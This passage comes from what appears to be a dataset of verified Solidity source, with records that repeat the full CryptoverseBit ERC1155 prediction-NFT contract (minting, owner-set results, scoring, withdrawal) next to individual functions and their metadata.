uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | setSeries | function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
| /**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
4105,
4447
]
} | 11,203 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | seriesLimit | function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
| /**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
4566,
4688
]
} | 11,204 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | seriesMintPrice | function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
| /**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
4818,
4948
]
} | 11,205 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
